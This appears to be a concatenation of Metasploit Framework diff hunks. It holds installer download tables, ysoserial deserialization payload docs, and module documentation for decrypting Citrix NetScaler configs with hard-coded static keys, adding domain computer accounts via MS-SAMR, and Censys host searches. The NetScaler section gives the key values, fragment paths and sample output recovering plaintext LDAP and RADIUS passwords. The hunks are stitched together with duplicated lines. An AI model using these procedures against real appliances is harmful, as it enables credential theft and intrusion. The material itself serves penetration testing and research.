"mod_time": "2022-07-20 17:21:58 +0000",
"path": "/modules/post/windows/gather/checkvm.rb",
"is_install_path": true,
"ref_name": "windows/gather/checkvm",
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)|
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)|
@@ -29,7 +29,7 @@ Once the serialized object is generated and stored as `java_payload`, it's then
### `#generate_java_deserialization_for_payload(name, payload)`
This method will generate a serialized Java object that when loaded will execute the specified Metasploit payload. The payload will be converted to an operating system command using one of the supported techniques contained within this method and then passed to [`#generate_java_deserialization_for_command`](#generate_java_deserialization_for_commandname-shell-command).
- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support.
- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonsBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support.
- **payload** - The payload object to execute on the remote system. This is the native Metasploit payload object and it will be automatically converted to an operating system command using a technique suitable for the target platform and architecture. For example, x86 Windows payloads will be converted using a Powershell command. Not all platforms and architecture combinations are supported. Unsupported combinations will result in a `RuntimeError` being raised which will need to be handled by the module developer.
@@ -169,4 +169,4 @@ DONE! Successfully generated 0 static payloads and 22 dynamic payloads. Skippe
At completion, the `data/ysoserial_payloads.json` file is overwritten and the 22 dynamic payloads are ready for use within the framework. Afterward, the developer should follow the standard `git` procedures to `add` and `commit` the new JSON file before generating a pull request and landing the updated JSON into the framework's `master` branch.
[1]: https://github.com/pimps/ysoserial-modified/blob/e71f70dbc5e8c27d72873014ac5cb7766f4b5b94/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11-L30
[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb
[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb
@@ -0,0 +1,212 @@
This module takes a Citrix NetScaler `ns.conf` configuration file as input and extracts secrets that
have been stored with reversible encryption. The module supports legacy NetScaler encryption (RC4)
as well as the newer AES-256-ECB and AES-256-CBC encryption types. It is also possible to decrypt
secrets protected by the Key Encryption Key (KEK) method, provided the key fragment files F1.key
and F2.key are provided. Currently, keys for appliances in FIPS mode or running hardware HSM cannot
be extracted. Root access to a NetScaler device or access to a NetScaler configuration backup are
the most effective means of acquiring the configuration file and key fragments.
This module incorporates research published by dozer:
https://dozer.nz/posts/citrix-decrypt/
## Vulnerable Application
This module is tested against the configuration files for NetScaler versions 10.x, 11x, 12.x and
13.x. The module will work with files retrieved from a live NetScaler system as well as files
extracted from an unencrypted NetScaler backup archive. This is possible because NetScaler uses
well-known hard coded encryption keys which are visible on the system in the hidden file:
`/nsconfig/.skf`
These static keys are:
```
NetScaler RC4:
2286da6ca015bcd9b7259753c2a5fbc2
NetScaler AES:
351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9
```
The module is also able to decrypt secrets encrypted with NetScaler KEK, provided the associated
`F1.key` and `F2.key` fragments are provided. Private key passphrases that use `-passcrypt` are not
currently decryptable by this module, but any secret that uses the `-encrypted` parameter should be
fully recoverable.
## Verification Steps
You must possess a NetScaler `ns.conf` file in order to use this module. If the NetScaler is running
NS13.0 Build76.xx.nc or higher, or the administrator has configured KEK encryption, you must also
possess the associated KEK key fragments in order to decrypt the file. All files must be local to
the system invoking the module. Where possible, you should provide the `NS_IP` option to tag
relevant loot entries with the IPv4 address of the originating system. If no value is provided for
`NS_IP` the module defaults to assigning the loopback IP `127.0.0.1`.
1. Acquire the `ns.conf` file, and associated `F1.key` and `F2.key` files if using NS KEK
2. Start msfconsole
3. Do: `modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb`
4. Do: `set ns_conf <path to ns.conf>` to provide the location of the NetScaler config file
5. Do: `set ns_kek_f1 <path to f1.key>` if you are decrypting a file using NS KEK
6. Do: `set ns_kek_f2 <path to f2.key>` if you are decrypting a file using NS KEK
6. Do: `set ns_ip <NetScaler IPv4>` to attach the target NetScaler IPv4 address to loot entries
7. Do: `dump`
## Options
### NS_CONF
Path to the NetScaler configuration file on the local system. Example: `/tmp/ns.conf`
### NS_KEK_F1
Path to the first of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F1.key`
### NS_KEK_F2
Path to the second of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F2.key`
### NS_IP
Optional parameter to set the IPv4 address associated with loot entries made by the module.
## Scenarios
### Acquire NetScaler Config File
NetScaler configuration files can be retrieved from a live system by running
`show ns.conf`
From the nscli or
`cat /nsconfig/ns.conf`
from the BSD shell. These files can also be retrieved from NetScaler configuration backup
archives which are generated from the appliance admin interface.
### Acquire KEK Fragment Files
As of NS13.0 Build76.xx.nc NetScaler requires mandatory use of the Key Encryption Key (KEK)
scheme. If secrets within the config file use KEK, you must also posses the associated KEK F1
and F2 fragment files in order to perform decryption. Secrets that require KEK fragments to
decrypt will include the `-kek` parameter on the associated configuration line. It is possible
for an admin to manually enable KEK in NS builds prior to Build76.xx.nc - if this has been done,
the current KEK key fragments are located in the following paths:
`/nsconfig/F1.key`
`/nsconfig/F2.key`
After NS13.0 Build76.xx.nc, KEK is mandatory and managed by the NetScaler itself. Key fragments
are presumably regenerated during firmware upgrades, and a journal is maintained in `/nsconfig/keys`
suffixed with a date stamp. The `F1.key` and `F2.key` files are ignored, and the new "current" KEK
key is stored in hidden files at paths:
`/nsconfig/.F1.key`
`/nsconfig/.F2.key`
As well as under `/nsconfig/keys`. Note that both fragments must be provided for successful
decryption. The module can be run without providing KEK fragments, but will be unable to decrypt
any secrets that use KEK encryption. An unencrypted NetScaler backup archive will contain all KEK
fragments currently defined on the appliance as well as the current `ns.conf` file.
### Running the Module
Example run against config file without KEK from NetScaler VPX running NS11.0 Build 62.10.nc:
```
msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf
ns_conf => /tmp/ns.conf.NS11.0-62.10.conf
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
[*] Config line:
add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key -passcrypt "VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=" -expiryMonitor DISABLED
[!] Not decrypting passcrypt entry:
[!] Ciphertext: VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=
[*] Config line:
set ns encryptionParams -method AES256 -keyValue 7654526a2f3ceffd877b286a8acece43da700d06133dc985f7ebdeb076135bcb755472e04f5d92aba9f07334eb8e936a58782ce76bb3f6d6e44adf727e8e88d602b8bdae1817d26203fe281a8429574d -encrypted -encryptmethod ENCMTHD_3
[+] Plaintext: AAAAAAXyju437Ecnb/iQpa55uUvOskx7S5hCq5dB4kMq+Lcx6g==
[*] Config line:
add authentication radiusAction UTIL1 -serverIP 10.100.10.13 -serverPort 1812 -radKey f8e4f532e9d4e6bebab169b3be9e77b5c851466b7760c469bd64a15d2e8d3c602025c41372094d06e207789d58b6acb7 -encrypted -encryptmethod ENCMTHD_3
[+] Plaintext: hbZaADYDUmdHv7AhHsAb6eCde2M82m0
[*] Config line:
add authentication ldapAction LDAP -serverName ldap.cesium137.io -serverPort 636 -ldapBase "DC=chainheart,DC=com" -ldapBindDn wiz@cesium137.io -ldapBindDnPassword f5dc75680b925dbd3c0a8154c8fee056bfe77ac774797de3c0867d368bd09c2cdd872a36e15a1f07abf773740e2c8a12 -encrypted -encryptmethod ENCMTHD_3 -ldapLoginName sAMAccountName -groupAttrName memberOf -secType SSL -ldapHostname ldap.cesium137.io
[+] User: wiz@cesium137.io
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
[*] Config line:
set ns rpcNode 10.100.10.11 -password 9ec84444b10941dc4222f93b29a75f0aa237ffdcc73a81355bf5d1cf3d80058daaad7ca58e488e54bc3ff3eea8ffd9eb -encrypted -encryptmethod ENCMTHD_3 -srcIP 10.100.10.11
[+] Plaintext: 447a325517739063bbaa414ecf1d9c3
[*] Config line:
set ns rpcNode 10.100.10.12 -password dd5c0c4952509e2fcfaeb238dfc361b79a844df09254087920ee0cf4dc447161bde8491d8a39ded0fa2526cc46e6a00f -encrypted -encryptmethod ENCMTHD_3 -srcIP 10.100.10.11
[+] Plaintext: 447a325517739063bbaa414ecf1d9c3
[*] Config line:
add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password e209865546c3d2e8462e3e7a962252eb6d9e26374163c8d902fc3535cb12638c514765dcea4792eb1e3e6b5e1c1c4cef -encrypted -encryptmethod ENCMTHD_3 -LRTM DISABLED -secure YES -baseDN "DC=chainheart,DC=com" -bindDN wiz@cesium137.io -filter CN=builtin
[+] User: wiz@cesium137.io
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
[*] Config line:
add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 4ae7bec92e25d985df315e543b846b2c30346840d8e945f5073832c3e479d60eee581f67d671759ae555210529eaec8d -encrypted -encryptmethod ENCMTHD_3 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=chainheart,DC=com" -bindDN wiz@cesium137.io -filter CN=builtin
[+] User: wiz@cesium137.io
[+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
[*] Auxiliary module execution completed
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
```
Example run against config file using KEK from NetScaler VPX running NS13.0 Build 85.15.nc:
```
msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf
ns_conf => /tmp/ns.conf
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key
ns_kek_f1 => /tmp/F1.key
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key
ns_kek_f2 => /tmp/F2.key
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
[*] Building NetScaler KEK from key fragments ...
[+] NS KEK F1
[+] HEX: dd2588bb3cb20dd643216c33489776c78e8c56f13b1301e0984dc80564eea49e
[+] NS KEK F2
[+] HEX: 45f9e6780a1dc40b6fe75bedf2f6dbb9a86e4315d07313014fe2381c52e44d8f
[+] Assembled NS KEK AES key
[+] HEX: 54f202b9a94649fd9eaa3f13eab514a5a267f460db0a2393f8b25f321a7d79e0
[*] Config line:
add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key 30f39257d8aacc737182568184e0d535002d90a7aba3454c1e8766a958d3a4a720e485c498adc681f0e7559ff633f932 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED
[+] Plaintext: zgkEUD86rUv76coT0DkIBj1xlp5qEzH
[*] Config line:
add ssl certKey ldap_cesium137_io -cert ldap_cesium137_io.pem -key ldap_cesium137_io.key d7902778370c616480ef781c5b3922ef31bd90e75dd3aecfa0fa8a5bafc4fa16b20ed2f7a07970c3f4d8ba201a3b9b72 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor ENABLED -notificationPeriod 90
[+] Plaintext: YaqoRLtSnnMPgnWyhAedYv2RO1aVtx8
[*] Config line:
add ssl certKey mail_cesium137_io -cert mail_cesium137_io-g3.pem -key mail_cesium137_io-g3.key 0e5ca2011772a9943c8f4281668b7236a8dfb97da290487d1953fa5ef768272f33d20122b055878729c75c29efaa3291 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED
[+] Plaintext: TBkrkfnP4QOWIT0FX8QCLl2GkNrnM
[*] Config line:
add ssl certKey auth_cesium137_io -cert auth_cesium137_io-g3.pem -key auth_cesium137_io-g3.key d574cca92065da27309ce87a423ac82e0c1571cd4c6df59a725f7eabee97d40136a250152506cb15962e34c90f1dc25c -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -expiryMonitor DISABLED
[+] Plaintext: flEkB3SW4YTTi9HRNnffmvJLSgJhsz5
[*] Config line:
set ns encryptionParams -method AES256 -keyValue ec5d48485c6871d1d4a2b01f9126946c53aa49eae721c8114ba7a34a1b1f8eabd443a9d641bbf5ef67f2b0237c481673587846db5378f72f9025f0762f8f9cbeebf4a16aaa2782d5c6ecd90c48a1c30d -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35
[+] Plaintext: AAAAAAXyju437Ecnb/iQpa55uUvOskx7S5hCq5dB4kMq+Lcx6g==
[*] Config line:
add authentication radiusAction APP01_DUO -serverIP 10.100.10.13 -serverPort 11812 -authTimeout 60 -radKey 535587632ffe91f2559fcf5902c7e4bf24961ee2e7f6285c03c87c2e65165fbc -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -accounting ON
[+] Plaintext: IAmSam!
[*] Config line:
add authentication radiusAction APP01_DUO_CITRIXRECEIVER -serverIP 10.100.10.13 -serverPort 21812 -authTimeout 60 -radKey 6644f481004ac7dee5a05b5a8dc3d9d9ae8c76f5fe82e0430b43acd7fb5afe9c -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -accounting ON
[+] Plaintext: IAmSam!
[*] Config line:
add authentication ldapAction AD_DUA2FAUSERS -serverName ldap.cesium137.io -serverPort 636 -authTimeout 60 -ldapBase "DC=cesium137,DC=io" -ldapBindDn ldap@cesium137.io -ldapBindDnPassword 7fbbf2ef9665641264406c17673c0cdb5774b76454f3ac8c7bb067dd0d2228c5 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -ldapLoginName sAMAccountName -searchFilter "&(objectCategory=user)(memberOf=CN=2FA-OWA,CN=Users,DC=cesium137,DC=io)" -groupAttrName memberOf -subAttributeName cn -secType SSL -passwdChange ENABLED -nestedGroupExtraction ON -groupNameIdentifier sAMAccountName -groupSearchAttribute memberOf -groupSearchSubAttribute CN
[+] User: ldap@cesium137.io
[+] Pass: Gr33n3gg$
[*] Config line:
set ns rpcNode 192.168.10.14 -password 2634fa338c457cb32fdf245873874a9b8fcd7128f6534641f49ea650e9f0974b -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14
[+] Plaintext: SamIAm!
[*] Config line:
set ns rpcNode 192.168.10.15 -password 6955e686fc5dd3beee5013dad0e0fa6510a56029b52cc7d7ed15082a60ec6ce4 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -srcIP 192.168.10.14
[+] Plaintext: SamIAm!
[*] Config line:
add lb monitor mon_ldaps LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password cc1f6bb054f5d63d5eb871fdd36ff573f3343c1e0238965682460c6f084d1e14-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -secure YES -baseDN "DC=cesium137,DC=io" -bindDN ldap@cesium137.io -filter CN=builtin -devno 13862
[+] User: ldap@cesium137.io
[+] Pass: Gr33n3gg$
[*] Config line:
add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -dispatcherPort 3013 -password 5c35e0aa5c3d999e9ff10de1fa32910f9ac28b1ee8824c2301ac964e1f5f987e-encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -destPort 636 -secure YES -baseDN "DC=cesium137,DC=io" -bindDN ldap@cesium137.io -filter CN=builtin -devno 13863
[+] User: ldap@cesium137.io
[+] Pass: Gr33n3gg$
[*] Config line:
add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c5990558d4bfae059f27191f4c91a2dfa826d7318db287e109f5da39f9 -encrypted -encryptmethod ENCMTHD_3 -kek -suffix 2022_05_18_14_00_35 -LRTM DISABLED -resptimeout 4 -destPort 1812 -devno 13864
[+] User: ldap
[+] Pass: Gr33n3gg$
[*] Auxiliary module execution completed
msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) >
```
@@ -0,0 +1,100 @@
## Vulnerable Application
Add, lookup and delete computer accounts via MS-SAMR. By default standard active directory users can add up to 10 new
computers to the domain. Administrative privileges however are required to delete the created accounts.
## Verification Steps
1. From msfconsole
2. Do: `use auxiliary/admin/dcerpc/samr_computer`
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
1. Set the `COMPUTER_NAME` option for `DELETE_COMPUTER` and `LOOKUP_COMPUTER` actions
4. Run the module and see that a new machine account was added
## Options
### SMBDomain
The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its
default value.
### COMPUTER_NAME
The computer name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the
`LOOKUP_COMPUTER` and `DELETE_COMPUTER` actions.
### COMPUTER_PASSWORD
The password for the new computer. This option is only used for the `ADD_COMPUTER` action. If left blank, a random value
will be generated.
## Actions
### ADD_COMPUTER
Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the
user has exceeded the maximum number of computer accounts that they are allowed to create.
After the computer account is created, the password will be set for it. If `COMPUTER_NAME` is set, that value will be
used and the module will fail if the selected name is already in use. If `COMPUTER_NAME` is *not* set, a random value
will be used.
### DELETE_COMPUTER
Delete a computer from the domain. This action requires that the `COMPUTER_NAME` option be set.
### LOOKUP_COMPUTER
Lookup a computer in the domain. This action verifies that the specified computer exists, and looks up its security ID
(SID), which includes the relative ID (RID) as the last component.
## Scenarios
### Windows Server 2019
First, a new computer account is created and its details are logged to the database.
```
msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(admin/dcerpc/samr_computer) > show options
Module options (auxiliary/admin/dcerpc/samr_computer):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPUTER_NAME no The computer name
COMPUTER_PASSWORD no The password for the new computer
RHOSTS 192.168.159.96 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass Password1 no The password for the specified username
SMBUser aliddle no The username to authenticate as
Auxiliary action:
Name Description
---- -----------
ADD_COMPUTER Add a computer account
msf6 auxiliary(admin/dcerpc/samr_computer) > run
[*] Running module against 192.168.159.96
[*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB
[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/samr_computer) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password
msf6 auxiliary(admin/dcerpc/samr_computer) >
```
@@ -1,212 +1,131 @@
## Vulnerable Application
The module use the Censys REST API to access the same data accessible through web interface.
The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
The module uses the Censys REST API to access the same data accessible through
the web interface. The search endpoint allows queries using the Censys Search
Language against the Hosts dataset. Setting the CERTIFICATES option will also
retrieve the certificate details for each relevant service by querying the
Certificates dataset.
## Verification Steps
1. Do: `use auxiliary/gather/censys_search`
2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` (length: 32 (without dashes))
3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` (length: 32)
4. Do: `set CENSYS_SEARCHTYPE certificates`
5: Do: `set CENSYS_DORK query`
6: Do: `run`
1. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX` (length: 32 (without dashes))
1. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX` (length: 32)
1. Do: `set CERTIFICATES true` (to get certificates details - optional)
1. Do: `set QUERY <query>`
1. Do: `run`
## Scenarios
### Certificates Search
A single keyword or a domain name can be used. For advanced searches, the Censys Search Language can also be used.
Here, the following query is used to get the hosts running FTP or Telnet in Germany:
```
location.country_code: DE and services.service_name: {"FTP", "Telnet"}
```
### Without certificates details
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates
CENSYS_SEARCHTYPE => certificates
msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID=<redacted> CENSYS_SECRET=<redacted>
[+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP
[+] 2.19.184.214 - 21/FTP
[+] 2.19.184.216 - 21/FTP
[+] 2.23.14.108 - 21/FTP
[+] 2.23.14.163 - 21/FTP,449/UNKNOWN,515/UNKNOWN,4101/UNKNOWN,4222/UNKNOWN,44100/UNKNOWN,44104/UNKNOWN,44117/UNKNOWN,44133/UNKNOWN,44156/UNKNOWN,44161/UNKNOWN,44162/UNKNOWN,44170/UNKNOWN,44174/UNKNOWN
[+] 2.23.14.195 - 21/FTP,45108/UNKNOWN,45110/UNKNOWN,45111/UNKNOWN,45117/UNKNOWN,45149/UNKNOWN,45150/UNKNOWN,45164/UNKNOWN
[+] 2.23.14.199 - 21/FTP
[+] 2.23.14.201 - 21/FTP,47106/UNKNOWN,47113/UNKNOWN,47150/UNKNOWN
[+] 2.23.14.209 - 21/FTP,49100/UNKNOWN,49121/UNKNOWN,49143/UNKNOWN,49152/UNKNOWN
[+] 2.23.14.212 - 21/FTP
[+] 2.23.14.218 - 21/FTP
[+] 2.23.14.235 - 21/FTP
[+] 2.23.14.243 - 21/FTP
[+] 2.23.15.71 - 21/FTP,22/SSH,80/HTTP,443/HTTP
[+] 2.23.15.238 - 21/FTP,80/HTTP,443/HTTP
[+] 2.56.11.154 - 21/FTP,22/SSH,25/SMTP,53/DNS,80/HTTP,110/POP3,143/IMAP,443/HTTP,465/SMTP,587/SMTP,993/IMAP,2077/HTTP,2078/HTTP,2079/HTTP,2080/HTTP,2082/HTTP,2083/HTTP,2086/HTTP,2087/HTTP,2095/HTTP,2096/HTTP,3306/MYSQL
[+] 2.56.11.222 - 21/FTP,22/SSH,80/HTTP,111/PORTMAP,137/NETBIOS,443/HTTP,445/SMB
[+] 2.56.77.123 - 21/FTP,22/SSH,80/HTTP
[+] 2.56.77.162 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,993/IMAP,5022/SSH,8443/HTTP,50080/HTTP
[+] 2.56.77.185 - 21/FTP,25/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/UNKNOWN
[+] 2.56.77.186 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/UNKNOWN,5060/SIP
[+] 2.56.77.189 - 21/FTP,25/SMTP,80/HTTP,443/HTTP,465/SMTP,587/SMTP,1024/HTTP,1723/PPTP,4444/HTTP,8080/HTTP,50080/HTTP
...
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
